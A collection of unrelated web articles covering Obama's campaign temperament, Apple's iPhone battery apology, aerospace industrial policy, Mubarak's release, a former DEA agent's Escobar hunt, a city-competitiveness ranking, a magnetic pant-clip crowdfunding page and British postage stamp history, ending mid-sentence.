to be his theory of campaigning: don’t try to score huge points at every moment, don’t kill yourself for every vote—a campaign is a long, slow story, and you don’t want to exhaust your audience or yourself. “One weekend I was with him they were making a big deal about his school in Indonesia being a madrassa,” Valerie Jarrett says. “I said, ‘How could they have even run with this story? It’s so completely inaccurate!’ He said, ‘You know, we’ve contacted the school and the principal’s gonna explain what kind of a school it is and we’re gonna refute it all. You need to just calm down. This is gonna be fun! Valerie, you’re not a guy but let me explain it to you in sport terms. It’s like we’re in a basketball game, and I’m gonna fumble the ball, and someone’s gonna steal the ball, and I’m gonna miss a free throw, but we’re gonna win the game. You can’t get yourself worked up over every little thing that somebody says about me or you’re gonna go crazy.’ ” When Christopher Edley first met Obama, in law school, he decided that he would go far, because of his centeredness. Then when, later, he read Obama’s first book and saw how Obama had suspected and vivisected himself for so many years, he decided that he would go far because of that. “The capacity for self-reflection is in my experience invaluable for a candidate or a President,” he says. (Edley worked in the Carter and Clinton Administrations and for Dukakis’s campaign.) “It’s difficult to describe to someone who hasn’t been involved how tough a Presidential campaign is. When you spend day after day flying around the country in an aluminum tube at forty thousand feet, it’s the easiest thing in the world to lose yourself. And when every misstep becomes a thirty-six-hour media disaster there’s every reason to second-guess your instincts, so being sensitive to your strengths and weaknesses and having the courage to come to terms with them is helpful when you’re facing a crisis. I’ve seen candidates who, like a deer frozen in headlights, can’t find their way forward and have to be led around by staff. I’ve also seen candidates who, faced with adversity, turn into the stubbornest of mules and can’t adapt or adjust. Most candidates walk into the room asking everybody ‘How’m I doing? How’m I doing?,’ with no ability to look at themselves in the mirror. So the ability that Barack shows in the book to be brutally self-reflective—this is deep stuff.” “When he’s exhausted on day forty of the campaign fund-raising drive, in the grind of it, can he keep it up?” a friend says. “I think sometimes he feels phony to himself. He’s going to struggle with being the candidate, being a regular guy who has become a persona named Barack Obama. The persona is going to get larger and larger, and more and more distant from him and the way he used to live his life. We have a real live human being running for President here. He doesn’t have much experience in this kind of campaigning, and this is both his strength and his vulnerability.”
-Share. Bernthal loves the Dirty Laundry short. Bernthal loves the Dirty Laundry short.  Thomas Jane’s portrayal of the Punisher helped inspire Jon Bernthal’s take on the anti-hero.  ScreenGeek reports that, while answering questions during a New York Comic Con panel, Jon Bernthal revealed he studied Jane's Frank Castle in the short fan film, Dirty Laundry.  Bernthal said he "watches everything" and "reads everything" about the Marvel hero, and that he particularly "loves Dirty Laundry."  "Once you devour and eat up and much as you can, my way is to make it as personal as possible,” said Bernthal. “ It was a great pleasure to watch all of those.”  Dirty Laundry came out in 2012, eight years after the Jane-led 2004 official Punisher film. It has a simple but effective plot, and Ron Perlman stars in a minor role.  Netflix’ The Punisher series has officially begun production, with Daredevil’s Deborah Ann Woll reprising her role as Karen Page. The show also added a few new cast members, with The Chronicles of Narnia actor Ben Barnes playing Billy Russo, who eventually becomes Jigsaw in the comics.  Exit Theatre Mode  Alex Gilyadov is a freelance writer based in New York. You can follow him on Twitter.
-Breaking  Apple on Thursday addressed mounting criticism over the revelation that it slows down iPhones with aging batteries to prevent performance issues. In addition to apologizing, the company has also lowered the price of out-of-warranty battery replacements to $29, and will issue a software update in early 2018 to let users find out more information about the health of their device's battery.  "Our goal has always been to create products that our customers love, and making iPhones last as long as possible is an important part of that."  December 28, 2017  A Message to Our Customers about iPhone Batteries and Performance  We've been hearing feedback from our customers about the way we handle performance for iPhones with older batteries and how we have communicated that process. We know that some of you feel Apple has let you down. We apologize. There's been a lot of misunderstanding about this issue, so we would like to clarify and let you know about some changes we're making.  First and foremost, we have never — and would never — do anything to intentionally shorten the life of any Apple product, or degrade the user experience to drive customer upgrades. Our goal has always been to create products that our customers love, and making iPhones last as long as possible is an important part of that.  How batteries age  All rechargeable batteries are consumable components that become less effective as they chemically age and their ability to hold a charge diminishes. Time and the number of times a battery has been charged are not the only factors in this chemical aging process.  Device use also affects the performance of a battery over its lifespan. For example, leaving or charging a battery in a hot environment can cause a battery to age faster. These are characteristics of battery chemistry, common to lithium-ion batteries across the industry.  A chemically aged battery also becomes less capable of delivering peak energy loads, especially in a low state of charge, which may result in a device unexpectedly shutting itself down in some situations.  To help customers learn more about iPhone's rechargeable battery and the factors affecting its performance, we've posted a new support article, iPhone Battery and Performance.  It should go without saying that we think sudden, unexpected shutdowns are unacceptable. We don't want any of our users to lose a call, miss taking a picture or have any other part of their iPhone experience interrupted if we can avoid it.  Preventing unexpected shutdowns  About a year ago in iOS 10.2.1, we delivered a software update that improves power management during peak workloads to avoid unexpected shutdowns on iPhone 6, iPhone 6 Plus, iPhone 6s, iPhone 6s Plus, and iPhone SE. With the update, iOS dynamically manages the maximum performance of some system components when needed to prevent a shutdown. While these changes may go unnoticed, in some cases users may experience longer launch times for apps and other reductions in performance.  Customer response to iOS 10.2.1 was positive, as it successfully reduced the occurrence of unexpected shutdowns. We recently extended the same support for iPhone 7 and iPhone 7 Plus in iOS 11.2.  Of course, when a chemically aged battery is replaced with a new one, iPhone performance returns to normal when operated in standard conditions.  Recent user feedback  Over the course of this fall, we began to receive feedback from some users who were seeing slower performance in certain situations. Based on our experience, we initially thought this was due to a combination of two factors: a normal, temporary performance impact when upgrading the operating system as iPhone installs new software and updates apps, and minor bugs in the initial release which have since been fixed.  We now believe that another contributor to these user experiences is the continued chemical aging of the batteries in older iPhone 6 and iPhone 6s devices, many of which are still running on their original batteries.  Addressing customer concerns  We've always wanted our customers to be able to use their iPhones as long as possible. We're proud that Apple products are known for their durability, and for holding their value longer than our competitors' devices.  To address our customers' concerns, to recognize their loyalty and to regain the trust of anyone who may have doubted Apple's intentions, we've decided to take the following steps:  Apple is reducing the price of an out-of-warranty iPhone battery replacement by $50 — from $79 to $29 — for anyone with an iPhone 6 or later whose battery needs to be replaced, starting in late January and available worldwide through December 2018. Details will be provided soon on apple.com.  Early in 2018, we will issue an iOS software update with new features that give users more visibility into the health of their iPhone's battery, so they can see for themselves if its condition is affecting performance.  As always, our team is working on ways to make the user experience even better, including improving how we manage performance and avoid unexpected shutdowns as batteries age.  At Apple, our customers' trust means everything to us. We will never stop working to earn and maintain it. We are able to do the work we love only because of your faith and support — and we will never forget that or take it for granted.  The new $29 iPhone battery replacement is a reduction of $50 from the previous cost of $79. It will be available for anyone with an iPhone 6 or later whose battery needs to be replaced, starting in late January and available worldwide through December 2018.The company will also issue an iOS software update with "new features," coming in early 2018. This will let users see if the condition of their phone's battery is affecting performance."We know that some of you feel Apple has let you down. We apologize," the company wrote in an open letter published to its website. "There's been a lot of misunderstanding about this issue, so we would like to clarify and let you know about some changes we're making."It went on to clarify that it has never, and would never, do anything to intentionally shorten the lifespan of any Apple product. The company also denied degrading user experience to encourage upgrades."Our goal has always been to create products that our customers love, and making iPhones last as long as possible is an important part of that," they said.The letter goes on to explain how batteries age and degrade in performance over time, and what the software changes do to address these problems. It states that recent customer feedback over the controversy compelled it to make changes, including the upcoming software update and reduction in battery replacement price.Aging batteries have reduced capacities, and can cause random shutdowns of devices when they are subjected to spikes in power usage. Apple has addressed this by reducing peak performance of processors in older phones, which can make them run slower, but also keeps them operational for a longer period of time.Despite the fact that throttling keeps devices operational for longer, Apple's own admission has helped fuel a popular conspiracy theory that the company intentionally slows down older iPhones to encourage customers to buy a new device. Tests have shown that older devices outfitted with a new battery, available for $29 starting in late January, will see their performance return to normal levels.However, Apple's admission and continued belief in the conspiracy theory have helped to spur a number of lawsuits from around the world . Some critics have contended that even if the throttling is in the best interest of users and their devices, Apple should still have been more transparent about the fact that software updates could result in slower phones.Seeing an opportunity from Apple's public relations crisis, some competitors this week issued statements to say that they do not throttle the processing power of older devices.Apple, too, clearly saw the damage that was being done with the story continuing to make the rounds in the news and on social media. It remains to be seen whether Thursday's response and the upcoming changes will put the controversy to bed.Apple's full letter to customers is included below:
-Efforts undertaken to arm the United States to fight as part of World War II are almost beyond criticism in American politics. It may be surprising to many of us then that the policies and efforts employed over 70 years ago still affect our industry today and are in many ways at the heart of the current malaise that is plaguing our domestic aerospace industry.  Following World War I, the military was anxious to demobilize its forces rapidly as it had done after every war in the past. By 1920, many Americans clearly sought a return to quieter times and more traditional values. Politicians were also weary and carried their constituents’ sentiments to the House floor. The result was two decades of meager investment in military readiness and technology. During this period, the U.S. military relied upon advances in the commercial industry at large and adopted advances in aviation and electronics to meet its mission requirements as little military-funded technology development was to be had.  On the eve of U.S. involvement in World War II, with war already raging in Europe, the U.S. military began rearming and supplying its allies in Europe to win against a technologically superior German army and air force. The priority for military funding in the early 1940s was building enough armaments to meet the challenge from Nazi Germany. As the war progressed, new military thinking emerged to develop technology as a response to German war technologies and their effectiveness on the battlefield. While sheer numbers of tanks, soldiers, planes and logistics eventually won the war in Europe, the development of the atomic bomb, radar, the jet engine, ballistic missiles and supersonic aircraft are legacies of World War II technology developments that would shape the next 65 years of government spending.  It’s hard to imagine today the sheer magnitude of the industrial efforts to manufacture armaments to meet our needs in the World War II theater. Automobile factories ceased manufacturing passenger cars in order to free up capacity to manufacture tanks, aircraft and weaponry on behalf of the federal government. Every industrial capacity that could be used by the U.S. government for war materiel production was employed. The government, for all intents and purposes, commandeered U.S. industry to win the war in Europe and Asia. Given the Great Depression that preceded this era, nobody complained about having jobs and income to feed their families while the nation was at war. U.S. government debt rose, as a fraction of gross domestic product, to historic levels to fund this expanded production to levels comparable to what we see today.  After the war ended, the industrial capacity was converted back to civilian production. However, the scientific treasure recovered from Nazi Germany coupled with the evolving geopolitical threat from the Soviet Union fueled military-funded technology development. This had the effect of leaving a portion of the industrial conversion permanently in place. Companies such as Hughes and General Electric maintained a large postwar research-and-development (R&D) base to develop new weapons systems to remain one step ahead of the Soviets. In this sense, the industrial policy of the World War II U.S. military never really ended but evolved to fit the Cold War. NASA sprang into existence to contest the Soviets’ dominance in the exploration of space.  This unprecedented level of funding continued unabated through three more decades. Its final crescendo was the Reagan military buildup of the 1980s, when missile defense was developed and the nation rearmed in a manner reminiscent of World War II.  In 1991, the Soviet Union finally collapsed and this really ended the raison d’etre for the World War II industrial model that was again employed during the Reagan era. Saddam Hussein and his Iraqi army became the eventual and unfortunate recipient of a generation of weapons designed to destroy the Soviet army, adding an exclamation point to this period of history.  For the two decades following the demise of the Soviet Union, government funding struggled to find justification without the clear and present danger of an enemy such as the Soviets. The nation found that enemy on Sept. 11, 2001, and a new round of spending ensued. However, the United States had already piled up an enormous debt by this point in history and the two simultaneous Middle East wars ran up trillions of dollars in additional debt that the nation could ill afford. The prosecution of the Iraq and Afghan wars continued and new technology funding flowed unabated until 2008, when a burgeoning private debt crisis that eerily mirrored the government debt crisis exploded and plunged the nation into an economic crisis not seen since the Great Depression. Many of us in the industry sensed that something fundamental was about to change when this crisis broke, but few of us appreciated the profound change that it was bringing.  The economic crisis that has plagued the nation for five years now has finally broken the U.S. World War II industrial model of government-commercial collaboration. The U.S. government is experiencing unprecedented budget deficits and can ill afford to continue spending vast amounts of money it does not have on new technology development. The dreaded term “sequestration” and the budget austerity that it implies are a force here to stay for at least a decade.  Natural sociological and economic forces are forcing NASA and the defense technology complex to return to the model they had prior to World War II in which government-funded R&D was indeed sparse. As before World War II, the U.S. government will be forced to rely upon inventors and technology developed in the private sector and adopted to the military and government needs.  Without casting judgment on the policies of the past, World War II and the extended Cold War that followed turned the natural economic order and U.S. industrial model upside-down where entire industries were converted into arms of the U.S. military and the U.S. government itself. While this was necessary to win the war, the reverse transformation, or demobilization, was never really achieved. During the Cold War, our post-World War II global economic dominance was due in part to the fact that we had destroyed most of the world’s industrial capacity and we could dominate industrial economic spheres for the next 50 years. The Cold War was underwritten by this economic dominance and allowed the World War II industrial model to remain intact. The economic collapse of 2008 was inevitable when overspending in the United States and the world’s reindustrialization caught up. The permanent loss in tax revenue from the market housing bubble collapse is putting pressure on spending, and the debt servicing is multiplying this pressure. The U.S. government has no way out other than cutting spending.  So, what should we expect in the next 10 years? I, for one, am optimistic and believe in the spirit and power of capitalism and its ability to efficiently deploy capital, innovate and produce value. Our aerospace industry will change and adapt to this new reality and the U.S. government will find new ways to harness the more efficient capital deployment of the private sector.  Witness a superb example: Space Exploration Technologies Corp. (SpaceX). SpaceX has spent less than $1 billion in capital since its founding in 2001 and has launched five successful Evolved Expendable Launch Vehicle-class vehicles (Falcon 9), five Falcon 1 vehicles and four Dragon crew capsules, and built three launch pads. A part of this capital came from the U.S. government (about $600 million), but it was implemented by the private sector and its deployment was without a doubt a pure venture capital approach.  Without entering into all of the arguments about crew safety and standards, it’s hard to argue that this is not a more efficient deployment of capital than that of the Constellation program. Constellation spent several multiples of this number, well over $12 billion, on its launch vehicle and crew vehicle system and only succeeded in launching one suborbital rocket.  The SpaceX experience is in many ways a model for how I see the next decade unfolding. “New space,” as some call it, represents the hopes, ingenuity and capital of investors to do what formerly was considered the sole domain of the government. Companies such as Moon Express, Skybox Imaging and Iridium Communications are all shining examples of what can be done. For me the future is bright and will be led by those willing to take the risks and put skin in the game like the “new space” companies are. In the meantime, the government R&D community is taking it on the chin and the World War II industrial relationship is going into the garbage bin of history.  Jim Cantrell is president and chief executive of Strategic Space Development, an aerospace and technology consulting firm based in Tucson, Ariz.
-Egyptian soldiers and medics escort former President Hosni Mubarak after he arrives at a military hospital in the Cairo suburb of Maadi on Thursday. Reuters  In a move seen as symbolic across Egypt's political spectrum, former President Hosni Mubarak has been released from prison and flown to a hospital in Cairo. He was transferred at his own request to Maadi hospital, where he had been treated during his two-year detention.  The interim prime minister's office had previously indicated Mubarak would be placed under house arrest, following a court ruling stating he could be released from prison pending further investigation into corruption charges against him. The former president, ousted during a 2011 uprising, has been told he can prepare for future court appearances from home.  Mubarak's release was not appealed even though prosecutors had 48 hours to challenge it. An appeal could have kept the former president in prison for up to 30 days more.  The former strongman's release was greeted by many supporters and opponents as a sign that the old order is reasserting itself, just weeks after democratically elected President Mohamed Morsi was toppled in a military coup. The prison Mubarak departed on Thursday now houses a number of senior Muslim Brotherhood colleagues of Morsi.  Shadi Hamid, director of research at Brookings Doha Center, said Mubarak's release "confirms what everyone already knows -- that Egypt is moving towards a full-blown autocracy." Hamid told Al Jazeera, "It's not just returning to what it was under the Mubarak era but (to) something significantly worse."  Mubarak has already spent more than two years in pretrial detention, the maximum allowed under Egyptian law, and is now eligible for release pending trial.  Hamid added that Egypt's judiciary system is "highly politicized."  "If the army wanted a different kind of outcome, then that would have happened."
-SAN ANTONIO (KABB) -- Former DEA Agent Javier Pena is a Laredo native who now calls San Antonio home. His life is a Netflix hit.  “One thing I get from people is – ‘That didn't really happen,’” explains Pena. “It did happen.”  The former head of the DEA from Houston all the way down to the Mexican border also happens to be one two US agents who were attached to an elite Colombian group in charge of hunting down the most notorious narco terrorist of our times, Pablo Escobar.  Pena shared with our Yami Virgin some of what he lived in Colombia.  It was the late 80's when Javier Pena was sent from Austin to Colombia by the DEA to help take down the father of narco terrorism.  “It was 1988. I had done four years in Austin, Texas. So as soon as I land in Bogota, my boss says, ‘Javier, you're going to be responsible for the investigation of the Medellin Cartel led by Pablo Escobar,’” remembers Pena. “I had never heard of Pablo Escobar.”  Pena and his partner Steve Murphy lived and worked with an elite Colombian team whose mission was to end Escobar's reign of terror.  “I credit between 10-to-15,000 people that he [Pablo Escobar] was responsible for killing,” said Pena. “It was a very barbaric time in Colombia when he waged war.”  A war to fight being extradited to the United States for crimes that included the bombing of Avianca Flight 203 that killed 107 innocent people. The target was a presidential candidate, who at the last minute decided not to go on the flight.  “When we're going after him, you know, I'm going to say it, but it was based on revenge,” said Pena.  After they retired, Pena and Murphy shared their story with producer Eric Newman to create the Netflix drama ‘Narcos.’ but there was one catch.  “That Pablo Escobar would not be glamourized,” sad Pena. “And they guaranteed that they were not going to portray him as a hero.”  “There are books out there that have glorified what he did, which is pure evil,” said Narcos executive producer Eric Newman.  In his home here in San Antonio, Pena keeps mementos of this part of his life; of this part of history.  “License plate Pablo Escobar had on his car,” said Pena as he pointed to his collection. “Here is Pablo Escobar when he got killed.”  Last week Pena and Murphy met again on a Hollywood red carpet. A far cry from their days in Colombia.  Actor Pedro Pascual, famous for Game Of Thrones, plays Pena.  “This is a man who has been fighting for one thing for many years. He is very obsessed with his objective and this is the closest he has gotten - and we will see what he is capable of.”  “You know Pedro Pascual looked like me - back 30 years ago,” Pena said with a laugh. “Not anymore.”  Pena says he will never forget what he experienced in Colombia.  "Because of all the innocent people killed. I went to a lot of funerals. I had some great friends who were police officers that he had killed, so it was a personal war against Pablo Escobar.”  A tale Pena believes should serve as a warning - as the United States watches a similar war just south of San Antonio across our border.  “I've been asked, ‘What's the solution?’ It's not legalization. But the solution lies in the socialization process. Talking to the young kids. As long as there's a demand, there's going to be a supply.”  “The drug business is a business where you can take out the leadership. We took out Pablo Escobar, but did that take out trafficking? Absolutely not,” added Pena's DEA partner Steve Murphy.  As for his new found fame, Pena says he and Murphy are just enjoying the ride.  “I'm not sure what's going to happen or what they're going to do, but it's been fun. We've traveled a lot. We've talked to a lot of people. Done a lot of interviews. And I never thought this would have happened in 100 years.”  Interview with former DEA agent Javier Pena  Javier Pena stops by Daytime at Nine
-Flickr/Seth Lemmons The world's megacities, from Tokyo to New York, are incredibly influential, housing vast swaths of the population and contributing significantly to global GDP.  But smaller cities and cities in emerging markets are also establishing themselves as globally competitive, and some, like Ahmedabad in India and Tianjin in China, are experiencing double-digit economic growth.  Citigroup has a new ranking of the world's most competitive cities, taking into account everything from economic size and growth to business and regulatory environment, quality of human capital, and quality of life.  A few major takeaways from the report:  Cities in the U.S. and Europe are still the most competitive , despite concerns about aging infrastructures and budget deficits. They're still the best at attracting capital, business, talent, and tourists.  , despite concerns about aging infrastructures and budget deficits. They're still the best at attracting capital, business, talent, and tourists. Asian cities dominated the "economic strength" section of the index. Fifteen of the top 20 cities by that measure are in Asia, a reflection of Asia's overall economic rise.  of the index. Fifteen of the top 20 cities by that measure are in Asia, a reflection of Asia's overall economic rise. T he biggest advantage for cities in developed countries is their ability to attract and develop talent . Another plus for cities in the U.S. and Europe, thanks to their on their high-quality education systems and "entrepreneurial mindset" of citizens.  . Another plus for cities in the U.S. and Europe, thanks to their on their high-quality education systems and "entrepreneurial mindset" of citizens. There is a correlation between density and competitiveness. Urban density is linked to higher productivity, while there is no connection between the size of a city's population and its competitiveness on the index.
-Introducing Rip Clips - Pant Length Management  Rip Clips are the world's first pant length alterations system that doesn't involve needle and thread. Held together with strong rare-earth (neodymium) magnets that keep your pant cuffs in place so you never worry about stepping on them.  Rip Clips work to achieve three goals. First, they protect your pants from being stepped on and ruined. Second, they save you time and energy, compared to standard alteration methods. Lastly, they save you money by being half the cost of an original hem from department stores. If you never get your pants hemmed because it is too much hassle, or if you are tired of paying high alteration fees for an original hem, Rip Clips are for you.  Through many different prototypes and months of testing, Nick and Chris have created a product that solves the problem of pants not always being the perfect length.  Designed to be invisible while wearing, Rip Clips work for all pants that have a standard cuff hem.  The Magic is in The Magnet  All these goals are accomplished with Rip Clips. It all works because of high quality Martensitic stainless steel plates that attach to your shoes and your pant cuffs which are attracted to one another through a neodymium magnet. These little magnets are amazing! They are rated to hold more than 13 pounds of pull force; more than enough to keep your pants off the ground. In fact these little wonders can hold more than 5,000 times their weight!!  Unlike hemming one pair of pants, you can use the same Rip Clips for multiple pairs of pants. Made from the highest quality materials and manufacturing processes, Rip Clips will be protecting your pants for years to come.  The idea for Rip Clips stems from Chris' youth. As a boy he was living in a house without a lot of money. Chris never liked ripped and mangled pant cuffs but he wasn't able to get his pants hemmed. Searching for a solution, Chris would roll up and duct tape the inside of his jeans, stick a nail through the jeans into the sole of his shoe, or stuff the ends of them into his shoes.  One day while looking at a magnetic name tag , Nick and Chris knew that magnets would be a part of the solution they were looking for. After finding out the strength of rare earth neodymium magnets, they knew how. Nick and Chris have a passion for creating this project because it fixes a problem too many people experience, in a new innovative way.  Rip Clips comes in 3 high quality finishes: Pitch Black, Pure White, and exclusive Kick Starter Green. These colors pair perfectly with most shoe sole colors.  Ready when you need them  Specifications:  Magnets:  Shape: Square 3/8"  Weight: .0381 oz.  Magnetized : Permanent, Axially  Material: NdFeB Neodymium (Rare-earth)  Grade: N52 (The strongest on the market)  Coating: Ni-Cu-Ni  Pull Strength: Approx. 13.22 lbs Plates:  Plates:  Each set of Rip Clips consists of 4 stainless steel plates; 2 shoe plates (one for the left shoe and one for the right) and 2 pant plates (left leg and right leg).  Pant Plates: 1/2" tall x 1" wide. These plates are made from high quality Martensitic stainless steel type 430. These plates are designed to slip in-between the stitching of the hem of your jeans and clamp together to hold in place. There are several dimples on the pant plate that hold onto the fabric of your pants, ensuring they wont slip out of place when you wash/dry your pants.  Shoe Plates: The shoe plates are 3/8" tall x 1" wide and are made from the same type 430 stainless steel as the pant plate. They are backed with 3M double sided tape that aligns to your shoe with a simple peel and stick. Two small screws to securely attach to the back of shoes and mount flush with the countersink holes. The super strong neodymium magnet is permanently bonded to the center of the shoe plate.  Where do the Pledge funds go?  100% of the money raised will go towards the first production run of Rip Clips. These funds will allow us to meet the tooling and minimum order quantities set by our different manufacturers.  Manufacturing Process  Rip Clips are proud to be completely designed and manufactured right here in the USA.  Stainless Steel Plates - The stainless steel pant and shoe plates are cut from large, high quality Martensitic stainless steel sheets (type 430). The plates will be made by CPC Fabrication; a sheet metal manufacturing shop right here in Southern California. A high powered laser cutting machine cuts the sheet metal to our exact specifications, then is bent and rounded to pair up with the backs of modern shoes.  Magnets - The magnets are made from neodymium NdFeB otherwise known as “rare earth”. Though this element is not as rare as it sounds, China has created a near monopoly on the global deposits. Meaning the best quality and most cost-effective magnets come from China. Presently this is where we are sourcing the magnets.  Assembly - All Rip Clips products will be assembled and packaged by us in Southern California, USA. This will allow us to keep a close eye on quality to provide you with the best product possible.  International Backers  Please allow for greater shipping times if your destination is outside of North America.  Rewards  The Bat Cave: High quality wood box that displays your Rip Clips compatible shoes. The Bat Cave has a steel plate mounted on the top of the inside, and the magnets on the shoe plates mounted on your shoes have more than enough power to suspend your shoes in mid air.  Rip Clips All Rights Reserved (patent pending)
-The British Penny Black is generally acknowledged as the world's first postage stamp.  Postage stamps and postal history of Great Britain surveys postal history from the United Kingdom and the postage stamps issued by that country and its various historical territories until the present day.  The postal history of the United Kingdom is notable in at least two respects- first, for the introduction of postage stamps in 1840, and secondly for the establishment of an efficient postal system throughout the British Empire, laying the foundation of many national systems still in existence today.  Early history [ edit ]  The story begins in the 12th century with Henry I, who appointed messengers to carry letters for the government. It is estimated that between 1100 and 1135, 4,500 letters were carried by these messengers. During this time, private individuals had to make their own arrangements. Henry III provided uniforms for the messengers, and Edward I instituted posting houses where the messengers could change horses. The reign of Edward II saw the first postal marking; handwritten notations saying "Haste,post haste".  Master of the posts Brian Tuke was the first  Henry VIII created the Royal Mail in 1516, appointing Brian Tuke as "Master of the Postes", while Elizabeth I appointed Thomas Randolph as "Chief Postmaster". Under Thomas Witherings, chief postmaster under Charles I, the Royal Mail was made available to the public (1635), with a regular system of post roads, houses, and staff. From this time through to the postal reforms of 1839 – 1840 it was most common for the recipient to pay the postage, although it was possible to prepay the charge at the time of sending.  In 1661, Charles II made Henry Bishop the first Postmaster General. In answer to customer complaints about delayed letters, Bishop introduced the Bishop mark, a small circle with month and day inside, applied at London, in the General Post office and the Foreign section, and soon after adopted in Scotland, (Edinburgh), and Ireland, (Dublin). In subsequent years, the postal system expanded from six roads to a network covering the country, and post offices were set up in both large and small towns, each of which had its own postmark.  In 1680 William Dockwra established the London Penny Post, a mail delivery system that delivered letters and parcels weighing up to one pound within the city of London and some of its immediate suburbs for the sum of one penny.[2]  Postage stamps and The Great Office Reform [ edit ]  The Great Post Office Reform of 1839 and 1840 was championed by Rowland Hill, often credited with the invention of the postage stamp, as a way to reverse the steady financial losses of the Post Office. Hill convinced Parliament to adopt the Uniform Fourpenny Post whereby a flat 4d per half ounce rate (equivalent to 10s 8d per pound for heavier items) was charged regardless of distance.  December 1839-letters could arrive at any address in the United Kingdom: The rate went into effect on 5 December 1839 but only lasted for 36 days.[3] This was immediately successful, and on 10 January 1840 the Uniform Penny Post started, charging only 1d for prepaid letters and 2d if the fee was collected from the recipient. Fixed rates meant that it was practical to avoid handling money to send a letter by using an "adhesive label", and accordingly, on 6 May, the Penny Black became the world's first postage stamp in use.  After more than 2,000 suggestions were submitted, Rowland Hill chose the method and printer, and worked by trial and error to achieve the required result. He decided to go with Perkins, Bacon & Petch, "a firm of bank-note printers, to carry out the work by the process of steal engraving, and the head of the Queen as engraved by William Wyon for a special medal struck to celebrate Her Majesty's official visit to the City of London in the year of her Coronation."[4]  The stamp was originally for use only within the United Kingdom of Great Britain and Ireland and as such was, in effect, a local stamp. For this reason the name of the country was not included within the design, a situation which continued by agreement with foreign post offices, provided the sovereign's effigy appeared on the stamp. Envelopes sold with postage paid did not include this, so were marked with the country's name. In 1951, the special commemorative issue for the Festival of Britain included the name "Britain" incidentally. It could therefore be said that the name of the country then appeared for the first time on a stamp of the UK, although the word "British" had appeared on British Empire Exhibition commemorative stamps of 1924.  After the stamp was circulating, it became obvious that black was not a good choice of stamp colour, since any cancellation marks were hard to see. So from 1841 onwards, the stamps were printed in a brick-red colour. The Penny Reds continued in use for decades with about 21 billion being produced.[5]  Victorian era [ edit ]  The Victorian age saw an explosion of experimentation. The inefficiency of using scissors to cut stamps from the sheet inspired trials with rouletting (the Archer Roulette), and then with perforation, which became standard practice in 1854. In 1847, the (octagonal) 1 shilling (£0.05) became the first of the British embossed postage stamps to be issued, followed by 10d stamps the following year, and 6d (£0.025) values in 1854.  Surface-printed stamps first appeared in the form of a 4d stamp in 1855, printed by De La Rue, and subsequently became the standard type. ​1⁄ 2 d (halfpenny) and ​1 1⁄ 2 d (penny halfpenny – pronounced pennyhaypny or threehaypence) engraved stamps issued in 1870 were the last engraved types of Queen Victoria; the next would not appear until 1913. Surface-printed stamps of the 1860s and 1870s all used the same profile of Victoria, but a variety of frames, watermarks, and corner lettering.  A 5-shilling (abbreviated as 5/- or 5s) (£0.25) stamp first appeared in 1867, followed by 10 shilling (£0.50) and £1 values in 1878, culminating in a £5 stamp in 1882.  Meanwhile, the age of the Penny Reds had come to an end along with the Perkins Bacon printing contract. The new low values were also surface-printed: first was a penny stamp coloured Venetian red in a square frame, issued in 1880. However, the passage of the Customs and Inland Revenue Act 1881 necessitated new stamps valid also as revenue stamps, and so the Penny Lilac was issued in that year, inscribed "POSTAGE AND INLAND REVENUE". This stamp remained the standard letter stamp for the remainder of Victoria's reign, and vast quantities were printed. Later issues were inscribed POSTAGE & REVENUE which became the more familiar POSTAGE REVENUE.  1883 and 1884 saw experimentation with stamps using fugitive inks with the 'Lilac and Green Issue'. These were rather plain designs, low values in lilac and high values in green, because those were the only colours available. They succeeded in their purpose – relatively few of the stamps survived usage, their colours fading away when soaked from the envelope – but they were not liked by the public.  The last major issue of Victoria was the "Jubilee issue" of 1887, a set of twelve designs ranging from ​1⁄ 2 d to 1s, most printed in two colours or on coloured paper. (Although issued during the Jubilee year, they were not issued specifically for the occasion, and are thus not commemoratives.)  A perforated Penny Red, letters in four corners and plate 148, therefore printed 1871 or later.  Threepence surface-printed value from 1873.  "Penny Lilac" of 1881; 16 dots in each corner.  2½ old pence (twopenny halfpenny) value of the unpopular series of 1883/4.  5d. "Jubilee" of 1887, among the first British stamps to be printed in two colours.  Early 20th century [ edit ]  Common watermarks found on British stamps.  When Edward VII succeeded to the throne, new stamps became necessary. The approach was very conservative, however most of the Jubilee frames were reused and the image of the King was still a single profile. Edward's reign was fairly short and there were no major changes of design as a result. chalk-surfaced paper was introduced during this time. (This type of paper can be detected by rubbing the surface with silver, which leaves a black mark.)  By contrast, the stamps of George V were innovative from the very first. The first issue made was of the ​1⁄ 2 d and 1d values, which were in the same colours as used in the previous reign. Although the main design feature remained the same – a central ellipse for the portrait, an ornamental frame, value tablet at the base and a crown at the top – a three quarter portrait was used for the first time. However, subsequent designs reverted to the standard profile.  The UK's first commemorative stamps were issued for the British Empire Exhibition in 1924. The pair of large-format stamps featured a lion in an imposing stance; they were issued twice, in 1924 and then in 1925, the stamps of each year being inscribed with the year of issue.[6] A second set of commemoratives in 1929 marked the 9th Congress of the Universal Postal Union (UPU), held in London that year.[7]  Edward VII 1d of 1902.  George V ​1 1⁄ 2 d of 1912, used in 1928 at Wootton Wawen in Warwickshire.  Independence of the Irish Free State [ edit ]  Following the Anglo-Irish Treaty of 1921, responsibility for posts and telegraphs transferred to the new Provisional Government. Upon the formal independence of the Irish Free State in December 1922, and then transferred to the Free State Government. A Postmaster General was initially appointed by the Free State Government, being replaced by the office of Minister for Posts and Telegraphs in 1924. An early visible manifestation was the repainting of all post boxes green instead of red, plus the overprinting of British postage stamps prior to the introduction of Irish stamps.  Abdication and war [ edit ]  A set of four stamps was issued in 1936 for Edward VIII before he abdicated.[8] George VI's coronation was marked with a commemorative: part of an omnibus issue which included every colony in the Empire. New definitives featured a profile of the King on a solid colour background, based on a plaster cast by Edmund Dulac.[9] This was a precursor of the Machins three decades later: see below.  The century of the postage stamp was celebrated in 1940 with a set of six stamps depicting Victoria and George VI side-by-side. By the following year, wartime exigencies affected stamp printing, with the 1937 stamps being printed with less ink, resulting in significantly lighter shades. Post-war issues included commemoratives for the return of peace, the Silver Jubilee and the 1948 Summer Olympics in 1948, and the 75th anniversary of the UPU, in 1949.  In 1950 the colours of all the low values were changed. 1951 saw a new series of high values (2s 6d, 5s, 10s, £1), and two commemoratives for the Festival of Britain.  George VI ​2 1⁄ 2 d of 1937.  Modern era [ edit ]  Queen Elizabeth II "Wilding issue" booklet pane of 1952  When Elizabeth II succeeded her father in 1952, new stamps were needed. A collection of variations on a theme that came to be known as the Wilding issues, based on a portrait of Queen Elizabeth II was the result. This portrait was by photographer Dorothy Wilding.[10]  Wildings were used until 1967, when the Machin issues were introduced on 5 June.[11] The Machin design is very simple, a profile of the 